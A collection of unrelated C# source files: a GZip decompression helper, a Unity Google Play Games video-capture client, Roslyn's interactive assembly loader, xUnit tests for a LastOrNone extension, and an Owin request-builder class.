Uncompress a GZip'ed byte array into a byte array. /// </summary> /// /// <seealso cref="GZipStream.CompressBuffer(byte[])"/> /// <seealso cref="GZipStream.UncompressString(byte[])"/> /// /// <param name="compressed"> /// A buffer containing data that has been compressed with GZip. /// </param> /// /// <returns>The data in uncompressed form</returns> public static byte[] UncompressBuffer(byte[] compressed) { using (var input = new System.IO.MemoryStream(compressed)) { System.IO.Stream decompressor = new GZipStream( input, CompressionMode.Decompress ); return ZlibBaseStream.UncompressBuffer(compressed, decompressor); } } } }
#if UNITY_ANDROID #pragma warning disable 0642 // Possible mistaken empty statement namespace GooglePlayGames.Android { using System; using System.Collections.Generic; using GooglePlayGames.BasicApi; using GooglePlayGames.BasicApi.Video; using GooglePlayGames.OurUtils; using UnityEngine; internal class AndroidVideoClient : IVideoClient { private volatile AndroidJavaObject mVideosClient; private bool mIsCaptureSupported; private OnCaptureOverlayStateListenerProxy mOnCaptureOverlayStateListenerProxy = null; public AndroidVideoClient(bool isCaptureSupported, AndroidJavaObject account) { mIsCaptureSupported = isCaptureSupported; using (var gamesClass = new AndroidJavaClass("com.google.android.gms.games.Games")) { mVideosClient = gamesClass.CallStatic<AndroidJavaObject>("getVideosClient", AndroidHelperFragment.GetActivity(), account); } } public void GetCaptureCapabilities(Action<ResponseStatus, VideoCapabilities> callback) { callback = ToOnGameThread(callback); using (var task = mVideosClient.Call<AndroidJavaObject>("getCaptureCapabilities")) { AndroidTaskUtils.AddOnSuccessListener<AndroidJavaObject>( task, videoCapabilities => callback(ResponseStatus.Success, CreateVideoCapabilities(videoCapabilities))); AndroidTaskUtils.AddOnFailureListener( task, exception => callback(ResponseStatus.InternalError, null)); } } public void ShowCaptureOverlay() { AndroidHelperFragment.ShowCaptureOverlayUI(); } public void GetCaptureState(Action<ResponseStatus, VideoCaptureState> callback) { callback = ToOnGameThread(callback); using (var task = mVideosClient.Call<AndroidJavaObject>("getCaptureState")) { AndroidTaskUtils.AddOnSuccessListener<AndroidJavaObject>( task, captureState => callback(ResponseStatus.Success, CreateVideoCaptureState(captureState))); AndroidTaskUtils.AddOnFailureListener( task, exception => callback(ResponseStatus.InternalError, null)); } } public void IsCaptureAvailable(VideoCaptureMode captureMode, Action<ResponseStatus, bool> callback) { callback = ToOnGameThread(callback); using (var task = mVideosClient.Call<AndroidJavaObject>("isCaptureAvailable", ToVideoCaptureMode(captureMode))) { AndroidTaskUtils.AddOnSuccessListener<bool>( task, isCaptureAvailable => callback(ResponseStatus.Success, isCaptureAvailable)); AndroidTaskUtils.AddOnFailureListener( task, exception => callback(ResponseStatus.InternalError, false)); } } public bool IsCaptureSupported() { return mIsCaptureSupported; } public void RegisterCaptureOverlayStateChangedListener(CaptureOverlayStateListener listener) { if (mOnCaptureOverlayStateListenerProxy != null) { UnregisterCaptureOverlayStateChangedListener(); } mOnCaptureOverlayStateListenerProxy = new OnCaptureOverlayStateListenerProxy(listener); using (mVideosClient.Call<AndroidJavaObject>("registerOnCaptureOverlayStateChangedListener", mOnCaptureOverlayStateListenerProxy)) ; } public void UnregisterCaptureOverlayStateChangedListener() { if (mOnCaptureOverlayStateListenerProxy != null) { using (mVideosClient.Call<AndroidJavaObject>("unregisterOnCaptureOverlayStateChangedListener", mOnCaptureOverlayStateListenerProxy)) ; mOnCaptureOverlayStateListenerProxy = null; } } private class OnCaptureOverlayStateListenerProxy : AndroidJavaProxy { private CaptureOverlayStateListener mListener; public OnCaptureOverlayStateListenerProxy(CaptureOverlayStateListener listener) : base("com/google/android/gms/games/VideosClient$OnCaptureOverlayStateListener") { mListener = listener; } public void onCaptureOverlayStateChanged(int overlayState) { PlayGamesHelperObject.RunOnGameThread(() => mListener.OnCaptureOverlayStateChanged(FromVideoCaptureOverlayState(overlayState)) ); } private static VideoCaptureOverlayState FromVideoCaptureOverlayState(int overlayState) { switch (overlayState) { case 1: // CAPTURE_OVERLAY_STATE_SHOWN return VideoCaptureOverlayState.Shown; case 2: // CAPTURE_OVERLAY_STATE_CAPTURE_STARTED return VideoCaptureOverlayState.Started; case 3: // CAPTURE_OVERLAY_STATE_CAPTURE_STOPPED return VideoCaptureOverlayState.Stopped; case 4: // CAPTURE_OVERLAY_STATE_DISMISSED return VideoCaptureOverlayState.Dismissed; default: return VideoCaptureOverlayState.Unknown; } } } private static Action<T1, T2> ToOnGameThread<T1, T2>(Action<T1, T2> toConvert) { return (val1, val2) => PlayGamesHelperObject.RunOnGameThread(() => toConvert(val1, val2)); } private static VideoQualityLevel FromVideoQualityLevel(int captureQualityJava) { switch (captureQualityJava) { case 0: // QUALITY_LEVEL_SD return VideoQualityLevel.SD; case 1: // QUALITY_LEVEL_HD return VideoQualityLevel.HD; case 2: // QUALITY_LEVEL_XHD return VideoQualityLevel.XHD; case 3: // QUALITY_LEVEL_FULLHD return VideoQualityLevel.FullHD; default: return VideoQualityLevel.Unknown; } } private static VideoCaptureMode FromVideoCaptureMode(int captureMode) { switch (captureMode) { case 0: // CAPTURE_MODE_FILE return VideoCaptureMode.File; case 1: // CAPTURE_MODE_STREAM return VideoCaptureMode.Stream; default: return VideoCaptureMode.Unknown; } } private static int ToVideoCaptureMode(VideoCaptureMode captureMode) { switch (captureMode) { case VideoCaptureMode.File: return 0; // CAPTURE_MODE_FILE case VideoCaptureMode.Stream: return 1; // CAPTURE_MODE_STREAM default: return -1; // CAPTURE_MODE_UNKNOWN } } private static VideoCaptureState CreateVideoCaptureState(AndroidJavaObject videoCaptureState) { bool isCapturing = videoCaptureState.Call<bool>("isCapturing"); VideoCaptureMode captureMode = FromVideoCaptureMode(videoCaptureState.Call<int>("getCaptureMode")); VideoQualityLevel qualityLevel = FromVideoQualityLevel(videoCaptureState.Call<int>("getCaptureQuality")); bool isOverlayVisible = videoCaptureState.Call<bool>("isOverlayVisible"); bool isPaused = videoCaptureState.Call<bool>("isPaused"); return new VideoCaptureState(isCapturing, captureMode, qualityLevel, isOverlayVisible, isPaused); } private static VideoCapabilities CreateVideoCapabilities(AndroidJavaObject videoCapabilities) { bool isCameraSupported = videoCapabilities.Call<bool>("isCameraSupported"); bool isMicSupported = videoCapabilities.Call<bool>("isMicSupported"); bool isWriteStorageSupported = videoCapabilities.Call<bool>("isWriteStorageSupported"); bool[] captureModesSupported = videoCapabilities.Call<bool[]>("getSupportedCaptureModes"); bool[] qualityLevelsSupported = videoCapabilities.Call<bool[]>("getSupportedQualityLevels"); return new VideoCapabilities(isCameraSupported, isMicSupported, isWriteStorageSupported, captureModesSupported, qualityLevelsSupported); } } } #endif
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Reflection; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Text; using Roslyn.Utilities; namespace Microsoft.CodeAnalysis.Scripting { /// <summary> /// Implements an assembly loader for interactive compiler and REPL. /// </summary> /// <remarks> /// <para> /// The class is thread-safe. /// </para> /// </remarks> internal sealed class InteractiveAssemblyLoader { private class LoadedAssembly { public bool LoadedExplicitly { get; set; } /// <summary> /// The original path of the assembly before it was shadow-copied. /// For GAC'd assemblies, this is equal to Assembly.Location no matter what path was used to load them. /// </summary> public string OriginalPath { get; set; } } private readonly MetadataShadowCopyProvider _shadowCopyProvider; // Synchronizes assembly reference tracking. // Needs to be thread-safe since assembly loading may be triggered at any time by CLR type loader. private readonly object _referencesLock = new object(); // loaded assembly -> loaded assembly info private readonly Dictionary<Assembly, LoadedAssembly> _assembliesLoadedFromLocation; // { original full path -> assembly } // Note, that there might be multiple entries for a single GAC'd assembly. private readonly Dictionary<string, AssemblyAndLocation> _assembliesLoadedFromLocationByFullPath; // simple name -> loaded assemblies private readonly Dictionary<string, List<Assembly>> _loadedAssembliesBySimpleName; // simple name -> identity and location of a known dependency private readonly Dictionary<string, List<AssemblyIdentityAndLocation>> _dependenciesWithLocationBySimpleName; [SuppressMessage("Performance", "RS0008", Justification = "Equality not actually implemented")] private struct AssemblyIdentityAndLocation { public readonly AssemblyIdentity Identity; public readonly string Location; public AssemblyIdentityAndLocation(AssemblyIdentity identity, string location) { Debug.Assert(identity != null && location != null); this.Identity = identity; this.Location = location; } public override int GetHashCode() { throw ExceptionUtilities.Unreachable; } public override bool Equals(object obj) { throw ExceptionUtilities.Unreachable; } public override string ToString() { return Identity + " @ " + Location; } } [SuppressMessage("Performance", "RS0008", Justification = "Equality not actually implemented")] private struct AssemblyAndLocation { public readonly Assembly Assembly; public readonly string Location; public readonly bool GlobalAssemblyCache; public AssemblyAndLocation(Assembly assembly, string location, bool fromGac) { Debug.Assert(assembly != null && location != null); Assembly = assembly; Location = location; GlobalAssemblyCache = fromGac; } public bool IsDefault => Assembly == null; public override int GetHashCode() { throw ExceptionUtilities.Unreachable; } public override bool Equals(object obj) { throw ExceptionUtilities.Unreachable; } public override string ToString() { return Assembly + " @ " + (GlobalAssemblyCache ? "<GAC>" : Location); } } public InteractiveAssemblyLoader(MetadataShadowCopyProvider shadowCopyProvider = null) { _shadowCopyProvider = shadowCopyProvider; Assembly mscorlib = typeof(object).GetTypeInfo().Assembly; _assembliesLoadedFromLocationByFullPath = new Dictionary<string, AssemblyAndLocation>(); _assembliesLoadedFromLocation = new Dictionary<Assembly, LoadedAssembly>(); _loadedAssembliesBySimpleName = new Dictionary<string, List<Assembly>>(AssemblyIdentityComparer.SimpleNameComparer); _dependenciesWithLocationBySimpleName = new Dictionary<string, List<AssemblyIdentityAndLocation>>(); CorLightup.Desktop.AddAssemblyResolveHandler(AssemblyResolve); } public Assembly Load(Stream peStream, Stream pdbStream) { byte[] peImage = new byte[peStream.Length]; peStream.Read(peImage, 0, peImage.Length); var assembly = CorLightup.Desktop.LoadAssembly(peImage); RegisterDependency(assembly); return assembly; } private static AssemblyAndLocation LoadAssembly(string path) { // An assembly is loaded into CLR's Load Context if it is in the GAC, otherwise it's loaded into No Context via Assembly.LoadFile(string). // Assembly.LoadFile(string) automatically redirects to GAC if the assembly has a strong name and there is an equivalent assembly in GAC. var assembly = CorLightup.Desktop.LoadAssembly(path); var location = CorLightup.Desktop.GetAssemblyLocation(assembly); var fromGac = CorLightup.Desktop.IsAssemblyFromGlobalAssemblyCache(assembly); return new AssemblyAndLocation(assembly, location, fromGac); } /// <summary> /// Loads an assembly from path. /// </summary> /// <param name="path">Absolute assembly file path.</param> /// <exception cref="ArgumentNullException"><paramref name="path"/> is null.</exception> /// <exception cref="ArgumentException"><paramref name="path"/> is not an existing path.</exception> /// <exception cref="ArgumentException"><paramref name="path"/> is not an existing assembly file path.</exception> /// <exception cref="TargetInvocationException">The assembly resolver threw an exception.</exception> public AssemblyLoadResult LoadFromPath(string path) { if (path == null) { throw new ArgumentNullException(nameof(path)); } if (!PathUtilities.IsAbsolute(path)) { throw new ArgumentException(ScriptingResources.AbsolutePathExpected, nameof(path)); } try { return LoadFromPathInternal(FileUtilities.NormalizeAbsolutePath(path)); } catch (TargetInvocationException) { throw; } catch (Exception e) { throw new ArgumentException(e.Message, nameof(path), e); } } /// <summary> /// Notifies the assembly loader about a dependency that might be loaded in future. /// </summary> /// <param name="dependency">Assembly identity.</param> /// <param name="path">Assembly location.</param> /// <remarks> /// Associates a full assembly name with its location. The association is used when an assembly /// is being loaded and its name needs to be resolved to a location. /// </remarks> /// <exception cref="ArgumentNullException"><paramref name="dependency"/> is null.</exception> /// <exception cref="ArgumentException"><paramref name="path"/> is not an existing path.</exception> public void RegisterDependency(AssemblyIdentity dependency, string path) { if (dependency == null) { throw new ArgumentNullException(nameof(dependency)); } if (!PathUtilities.IsAbsolute(path)) { throw new ArgumentException(ScriptingResources.AbsolutePathExpected, nameof(path)); } lock (_referencesLock) { RegisterDependencyNoLock(new AssemblyIdentityAndLocation(dependency, path)); } } /// <summary> /// Notifies the assembly loader about an in-memory dependency that should be available within the resolution context. /// </summary> /// <param name="dependency">Assembly identity.</param> /// <exception cref="ArgumentNullException"><paramref name="dependency"/> is null.</exception> /// <remarks> /// When another in-memory assembly references the <paramref name="dependency"/> the loader /// responds with the specified dependency if the assembly identity matches the requested one. /// </remarks> public void RegisterDependency(Assembly dependency) { if (dependency == null) { throw new ArgumentNullException(nameof(dependency)); } lock (_referencesLock) { RegisterLoadedAssemblySimpleNameNoLock(dependency); } } private AssemblyLoadResult LoadFromPathInternal(string fullPath) { AssemblyAndLocation assembly; lock (_referencesLock) { if (_assembliesLoadedFromLocationByFullPath.TryGetValue(fullPath, out assembly)) { LoadedAssembly loadedAssembly = _assembliesLoadedFromLocation[assembly.Assembly]; if (loadedAssembly.LoadedExplicitly) { return AssemblyLoadResult.CreateAlreadyLoaded(assembly.Location, loadedAssembly.OriginalPath); } else { loadedAssembly.LoadedExplicitly = true; return AssemblyLoadResult.CreateSuccessful(assembly.Location, loadedAssembly.OriginalPath); } } } AssemblyLoadResult result; assembly = ShadowCopyAndLoadAssembly(fullPath, out result); if (assembly.IsDefault) { throw new FileNotFoundException(message: null, fileName: fullPath); } return result; } private void RegisterLoadedAssemblySimpleNameNoLock(Assembly assembly) { List<Assembly> sameSimpleNameAssemblies; string simpleName = assembly.GetName().Name; if (_loadedAssembliesBySimpleName.TryGetValue(simpleName, out sameSimpleNameAssemblies)) { sameSimpleNameAssemblies.Add(assembly); } else { _loadedAssembliesBySimpleName.Add(simpleName, new List<Assembly> { assembly }); } } private void RegisterDependencyNoLock(AssemblyIdentityAndLocation dependency) { List<AssemblyIdentityAndLocation> sameSimpleNameAssemblyIdentities; string simpleName = dependency.Identity.Name; if (_dependenciesWithLocationBySimpleName.TryGetValue(simpleName, out sameSimpleNameAssemblyIdentities)) { sameSimpleNameAssemblyIdentities.Add(dependency); } else { _dependenciesWithLocationBySimpleName.Add(simpleName, new List<AssemblyIdentityAndLocation> { dependency }); } } private AssemblyAndLocation ShadowCopyAndLoad(string reference) { MetadataShadowCopy copy = null; try { if (_shadowCopyProvider != null) { // All modules of the assembly has to be copied at once to keep the metadata consistent. // This API copies the xml doc file and keeps the memory-maps of the metadata. // We don't need that here but presumably the provider is shared with the compilation API that needs both. // Ideally the CLR would expose API to load Assembly given a byte* and not create their own memory-map. copy = _shadowCopyProvider.GetMetadataShadowCopy(reference, MetadataImageKind.Assembly); } return LoadAssembly((copy != null) ? copy.PrimaryModule.FullPath : reference); } catch (FileNotFoundException) { return default(AssemblyAndLocation); } finally { // copy holds on the file handle, we need to keep the handle // open until the file is locked by the CLR assembly loader: if (copy != null) { copy.DisposeFileHandles(); } } } private Assembly AssemblyResolve(string assemblyDisplayName, Assembly requestingAssemblyOpt) { AssemblyIdentity identity; if (!AssemblyIdentity.TryParseDisplayName(assemblyDisplayName, out identity)) { return null; } return AssemblyResolve(identity, requestingAssemblyOpt); } private Assembly AssemblyResolve(AssemblyIdentity identity, Assembly requestingAssemblyOpt) { if (requestingAssemblyOpt != null) { string originalDllPath = null, originalExePath = null; string originalPath = null; lock (_referencesLock) { LoadedAssembly loadedAssembly; if (_assembliesLoadedFromLocation.TryGetValue(requestingAssemblyOpt, out loadedAssembly)) { originalPath = loadedAssembly.OriginalPath; string pathWithoutExtension = Path.Combine(Path.GetDirectoryName(originalPath), identity.Name); originalDllPath = pathWithoutExtension + ".dll"; originalExePath = pathWithoutExtension + ".exe"; AssemblyAndLocation assembly; if (_assembliesLoadedFromLocationByFullPath.TryGetValue(originalDllPath, out assembly) || _assembliesLoadedFromLocationByFullPath.TryGetValue(originalExePath, out assembly)) { return assembly.Assembly; } } } // if the referring assembly is already loaded by our loader, load from its directory: if (originalPath != null) { // Copy & load both .dll and .exe, this is not a common scenario we would need to optimize for. // Remember both loaded assemblies for the next time, even though their versions might not match the current request // they might match the next one and we don't want to load them again. Assembly dll = ShadowCopyAndLoadDependency(originalDllPath).Assembly; Assembly exe = ShadowCopyAndLoadDependency(originalExePath).Assembly; if (dll == null ^ exe == null) { return dll ?? exe; } if (dll != null && exe != null) { // .dll and an .exe of the same name might have different versions, // one of which might match the requested version. // Prefer .dll if they are both the same. return FindHighestVersionOrFirstMatchingIdentity(identity, new[] { dll, exe }); } } } return GetOrLoadKnownAssembly(identity); } private Assembly GetOrLoadKnownAssembly(AssemblyIdentity identity) { Assembly assembly = null; string assemblyFileToLoad = null; // Try to find the assembly among assemblies that we loaded, comparing its identity with the requested one. lock (_referencesLock) { // already loaded assemblies: List<Assembly> sameSimpleNameAssemblies; if (_loadedAssembliesBySimpleName.TryGetValue(identity.Name, out sameSimpleNameAssemblies)) { assembly = FindHighestVersionOrFirstMatchingIdentity(identity, sameSimpleNameAssemblies); if (assembly != null) { return assembly; } } // names: List<AssemblyIdentityAndLocation> sameSimpleNameIdentities; if (_dependenciesWithLocationBySimpleName.TryGetValue(identity.Name, out sameSimpleNameIdentities)) { var identityAndLocation = FindHighestVersionOrFirstMatchingIdentity(identity, sameSimpleNameIdentities); if (identityAndLocation.Identity != null) { assemblyFileToLoad = identityAndLocation.Location; AssemblyAndLocation assemblyAndLocation; if (_assembliesLoadedFromLocationByFullPath.TryGetValue(assemblyFileToLoad, out assemblyAndLocation)) { return assemblyAndLocation.Assembly; } } } } if (assemblyFileToLoad != null) { assembly = ShadowCopyAndLoadDependency(assemblyFileToLoad).Assembly; } return assembly; } private AssemblyAndLocation ShadowCopyAndLoadAssembly(string originalPath, out AssemblyLoadResult result) { return ShadowCopyAndLoadAndAddEntry(originalPath, out result, explicitLoad: true); } private AssemblyAndLocation ShadowCopyAndLoadDependency(string originalPath) { AssemblyLoadResult result; return ShadowCopyAndLoadAndAddEntry(originalPath, out result, explicitLoad: false); } private AssemblyAndLocation ShadowCopyAndLoadAndAddEntry(string originalPath, out AssemblyLoadResult result, bool explicitLoad) { AssemblyAndLocation assemblyAndLocation = ShadowCopyAndLoad(originalPath); if (assemblyAndLocation.IsDefault) { result = default(AssemblyLoadResult); return default(AssemblyAndLocation); } lock (_referencesLock) { // Always remember the path. The assembly might have been loaded from another path or not loaded yet. _assembliesLoadedFromLocationByFullPath[originalPath] = assemblyAndLocation; LoadedAssembly loadedAssembly; if (_assembliesLoadedFromLocation.TryGetValue(assemblyAndLocation.Assembly, out loadedAssembly)) { // The same assembly may have been loaded from a different path already, // or the assembly has been loaded while we were copying the file and loading the copy; // Use the existing assembly record. if (loadedAssembly.LoadedExplicitly) { result = AssemblyLoadResult.CreateAlreadyLoaded(assemblyAndLocation.Location, loadedAssembly.OriginalPath); } else { loadedAssembly.LoadedExplicitly = explicitLoad; result = AssemblyLoadResult.CreateSuccessful(assemblyAndLocation.Location, loadedAssembly.OriginalPath); } return assemblyAndLocation; } else { result = AssemblyLoadResult.CreateSuccessful( assemblyAndLocation.Location, assemblyAndLocation.GlobalAssemblyCache ? assemblyAndLocation.Location : originalPath); _assembliesLoadedFromLocation.Add( assemblyAndLocation.Assembly, new LoadedAssembly { LoadedExplicitly = explicitLoad, OriginalPath = result.OriginalPath }); } RegisterLoadedAssemblySimpleNameNoLock(assemblyAndLocation.Assembly); } if (_shadowCopyProvider != null && assemblyAndLocation.GlobalAssemblyCache) { _shadowCopyProvider.SuppressShadowCopy(originalPath); } return assemblyAndLocation; } private static Assembly FindHighestVersionOrFirstMatchingIdentity(AssemblyIdentity identity, IEnumerable<Assembly> assemblies) { Assembly candidate = null; Version candidateVersion = null; foreach (var assembly in assemblies) { var assemblyIdentity = AssemblyIdentity.FromAssemblyDefinition(assembly); if (DesktopAssemblyIdentityComparer.Default.ReferenceMatchesDefinition(identity, assemblyIdentity)) { if (candidate == null || candidateVersion < assemblyIdentity.Version) { candidate = assembly; candidateVersion = assemblyIdentity.Version; } } } return candidate; } private static AssemblyIdentityAndLocation FindHighestVersionOrFirstMatchingIdentity(AssemblyIdentity identity, IEnumerable<AssemblyIdentityAndLocation> assemblies) { var candidate = default(AssemblyIdentityAndLocation); foreach (var assembly in assemblies) { if (DesktopAssemblyIdentityComparer.Default.ReferenceMatchesDefinition(identity, assembly.Identity)) { if (candidate.Identity == null || candidate.Identity.Version < assembly.Identity.Version) { candidate = assembly; } } } return candidate; } } }
using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Linq; using Amplified.CSharp.Extensions; using Amplified.CSharp.Util; using Xunit; namespace Amplified.CSharp { // ReSharper disable once InconsistentNaming [SuppressMessage("ReSharper", "CollectionNeverUpdated.Local")] public class Enumerable__LastOrNone { #region Maybe<TSource> LastOrNone<TSource>() [Fact] public void WhenSourceIsNull_ThrowsArgumentNullException() { IEnumerable<int> source = null; Assert.Throws<ArgumentNullException>(() => source.LastOrNone()); } [Fact] public void WhenEmpty_ReturnsNone() { var source = new HashSet<int>().AsEnumerable(); var result = source.LastOrNone(); result.MustBeNone(); } [Fact] public void WhenOneElement_ReturnsSomeOfSingle() { var source = Enumerable.Range(1, 1); var result = source.LastOrNone(); var value = result.MustBeSome(); Assert.Equal(1, value); } [Fact] public void WhenTwoElements_ReturnsSomeOfLast() { var source = Enumerable.Range(1, 2); var result = source.LastOrNone(); var value = result.MustBeSome(); Assert.Equal(2, value); } [Fact] public void WhenEmptyList_ReturnsNone() { var source = new List<int>().AsEnumerable(); var result = source.LastOrNone(); result.MustBeNone(); } [Fact] public void WhenOneElementList_ReturnsSomeOfSingle() { var source = new List<int> { 1 }.AsEnumerable(); var result = source.LastOrNone(); var value = result.MustBeSome(); Assert.Equal(1, value); } [Fact] public void WhenTwoElementsList_ReturnsSomeOfSingle() { var source = new List<int> {1, 2}.AsEnumerable(); var result = source.LastOrNone(); var value = result.MustBeSome(); Assert.Equal(2, value); } #endregion #region Maybe<TSource> LastOrNone<TSource>(Func<TSource, bool> predicate) [Fact] public void WithPredicate_WhenSourceIsNull_ThrowsArgumentNullException() { IEnumerable<int> source = null; Assert.Throws<ArgumentNullException>(() => source.LastOrNone(it => true)); } [Fact] public void WithPredicate_WhenPredicateIsNull_ThrowsArgumentNullException() { var source = Enumerable.Empty<int>(); Assert.Throws<ArgumentNullException>(() => source.LastOrNone(null)); } #region Empty [Fact] public void WithTruePredicate_WhenEmpty_ReturnsNone() { var source = new HashSet<int>().AsEnumerable(); var result = source.LastOrNone(it => true); result.MustBeNone(); } [Fact] public void WithFalsePredicate_WhenEmpty_ReturnsNone() { var source = new HashSet<int>().AsEnumerable(); var result = source.LastOrNone(it => false); result.MustBeNone(); } [Fact] public void WithPredicate_WhenEmpty_DoesNotInvokePredicate() { var rec = new Recorder(); var source = new HashSet<int>().AsEnumerable(); var result = source.LastOrNone(rec.Record((int it) => false)); result.MustBeNone(); rec.MustHaveExactly(0.Invocations()); } #endregion #region One Element [Fact] public void WithTruePredicate_WhenOneElement_ReturnsSome() { var source = Enumerable.Range(1, 1); var result = source.LastOrNone(it => true); var value = result.MustBeSome(); Assert.Equal(1, value); } [Fact] public void WithFalsePredicate_WhenOneElement_ReturnsNone() { var source = Enumerable.Range(1, 1); var result = source.LastOrNone(it => false); result.MustBeNone(); } [Fact] public void WithPredicate_WhenOneElement_DoesNotInvokePredicate() { var rec = new Recorder(); var source = Enumerable.Range(1, 1); var result = source.LastOrNone(rec.Record((int it) => true)); var value = result.MustBeSome(); Assert.Equal(1, value); rec.MustHaveExactly(1.Invocations()); } #endregion #region Two Elements [Fact] public void WithTruePredicate_WhenTwoElements_ReturnsLast() { var source = Enumerable.Range(1, 2); var result = source.LastOrNone(it => true); var value = result.MustBeSome(); Assert.Equal(2, value); } [Fact] public void WithFalsePredicate_WhenTwoElements_ReturnsNone() { var source = Enumerable.Range(1, 2); var result = source.LastOrNone(it => false); result.MustBeNone(); } #endregion #region Three Elements [Fact] public void WithPredicateMatchingFirst_WhenThreeElements_ReturnsSome() { var source = Enumerable.Range(1, 3); var result = source.LastOrNone(it => it == 1); var value = result.MustBeSome(); Assert.Equal(1, value); } [Fact] public void WithPredicateMatchingMiddle_WhenThreeElements_ReturnsSome() { var source = Enumerable.Range(1, 3); var result = source.LastOrNone(it => it == 2); var value = result.MustBeSome(); Assert.Equal(2, value); } [Fact] public void WithPredicateMatchingLast_WhenThreeElements_ReturnsSomeOfLast() { var source = Enumerable.Range(1, 3); var result = source.LastOrNone(it => it == 3); var value = result.MustBeSome(); Assert.Equal(3, value); } [Fact] public void WithPredicateMatchingLastAndNextToLast_WhenThreeElements_ReturnsSomeOfLast() { var source = new []{1, 2, 3, 3}.AsEnumerable(); var result = source.LastOrNone(it => it == 3); var value = result.MustBeSome(); Assert.Equal(3, value); } [Fact] public void WithPredicate_WhenThreeElements_InvokesPredicateThreeTimes() { var rec = new Recorder(); var source = Enumerable.Range(1, 3); var result = source.LastOrNone(rec.Record((int it) => true)); var value = result.MustBeSome(); Assert.Equal(3, value); rec.MustHaveExactly(3.Invocations()); } #endregion #endregion } }
using System; using System.Net; using System.Web; using System.Text; using System.Collections.Generic; using System.Collections.Specialized; namespace Owin { /// <summary>Helps you create valid IRequest objects</summary> public class RequestWriter : Request, IRequest { #region Constructors public RequestWriter() { // All of Request's helper methods that wrap InnerRequest will use our instance as the InnerRequest InnerRequest = this; // Set up the delegate, configuring the ReadTheBody method as the method that *actually* reads the body, // but it's wrapped up in a delegate (ReadTheBodyDelegate) to allow for asynchronous calls ActuallyReadTheBody = new ReadTheBodyDelegate(ReadTheBody); SetValidDefaults(); } public RequestWriter(string uri) : this() { Uri = uri; } public RequestWriter(string method, string uri) : this() { Method = method; Uri = uri; } public RequestWriter(string method, string uri, string body) : this() { Method = method; Uri = uri; TheRealBody = body; } public RequestWriter(string method, string uri, byte[] body) : this() { Method = method; Uri = uri; TheRealBodyBytes = body; } public RequestWriter(IRequest rawRequest) : this() { Method = rawRequest.Method; Uri = rawRequest.Uri; TheRealBodyBytes = new Request(rawRequest).BodyBytes; } #endregion #region Method public virtual string Method { get; set; } public RequestWriter SetMethod(string method) { Method = method; return this; } #endregion #region Uri public virtual string Uri { get; set; } public RequestWriter SetUri(string uri) { Uri = uri; return this; } #endregion #region Headers public new IDictionary<string, IEnumerable<string>> Headers { get; set; } public virtual RequestWriter SetContentType(string type) { ContentType = type; return this; } public virtual string ContentType { get { return GetHeader("content-type"); } set { SetHeader("content-type", value); } } /// <summary>Set header with a string, overriding any other values this header may have</summary> public virtual RequestWriter SetHeader(string key, string value) { Headers[key.ToLower()] = new string[] { value }; return this; } /// <summary>Set header, overriding any other values this header may have</summary> public virtual RequestWriter SetHeader(string key, IEnumerable<string> value) { Headers[key.ToLower()] = value; return this; } /// <summary>Set header with a string, adding to any other values this header may have</summary> public virtual RequestWriter AddHeader(string key, string value) { key = key.ToLower(); if (Headers.ContainsKey(key)) { List<string> listOfValues = new List<string>(Headers[key]); listOfValues.Add(value); SetHeader(key, listOfValues.ToArray()); } else SetHeader(key, value); return this; } /// <summary>Set header, adding to any other values this header may have</summary> public virtual RequestWriter AddHeader(string key, IEnumerable<string> value) { key = key.ToLower(); if (Headers.ContainsKey(key)) { List<string> listOfValues = new List<string>(Headers[key]); listOfValues.AddRange(value); SetHeader(key, listOfValues.ToArray()); } else SetHeader(key, value); return this; } #endregion #region Items public new IDictionary<string, object> Items { get; set; } public RequestWriter SetItem(string key, object value) { Items[key] = value; return this; } #endregion #region Body byte[] TheRealBodyBytes { get; set; } string TheRealBody { get { return Encoding.UTF8.GetString(TheRealBodyBytes); } // TODO should be able to change the encoding used (?) set { TheRealBodyBytes = Encoding.UTF8.GetBytes(value); } } public RequestWriter SetBody(string body) { TheRealBody = body; return this; } public RequestWriter SetBody(IDictionary<string, string> postData) { return SetBody(Owin.Util.ToQueryString(postData)); } public RequestWriter SetBody(byte[] body) { TheRealBodyBytes = body; return this; } public RequestWriter AddToBody(string bodyPart) { TheRealBody += bodyPart; return this; } public RequestWriter AddToBody(byte[] bodyPart) { // this should probably use something like System.Buffer.BlockCopy to make it speedy if there are lots of bytes List<byte> newBytes = new List<byte>(TheRealBodyBytes); newBytes.AddRange(bodyPart); TheRealBodyBytes = newBytes.ToArray(); return this; } public delegate int ReadTheBodyDelegate(byte[] buffer, int offset, int count); ReadTheBodyDelegate ActuallyReadTheBody { get; set; } // Method that *actually* reads the body int ReadTheBody(byte[] buffer, int offset, int count) { int bytesRead = 0; for (int i = 0; i < count; i++) { int index = offset + i; if (TheRealBodyBytes == null || index >= TheRealBodyBytes.Length) break; // the TheRealBodyBytes doesn't have this index else { bytesRead++; buffer[i] = TheRealBodyBytes[index]; } } return bytesRead; } public override IAsyncResult BeginReadBody(byte[] buffer, int offset, int count, AsyncCallback callback, object state) { return ActuallyReadTheBody.BeginInvoke(buffer, offset, count, callback, state); } public override int EndReadBody(IAsyncResult result) { return ActuallyReadTheBody.EndInvoke(result); } #endregion #region Private void SetValidDefaults() { Method = "GET"; Uri = ""; Headers = new Dictionary<string, IEnumerable<string>>(); Items = new Dictionary<string, object>(); Items["owin.base_path"] = ""; Items["owin.server_name"] = "localhost"; Items["owin.server_port"] = 80; Items["owin.request_protocol"] = "HTTP/1.1"; Items["owin.url_scheme"] = "http"; Items["owin.remote_endpoint"] = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 80); } #endregion } }
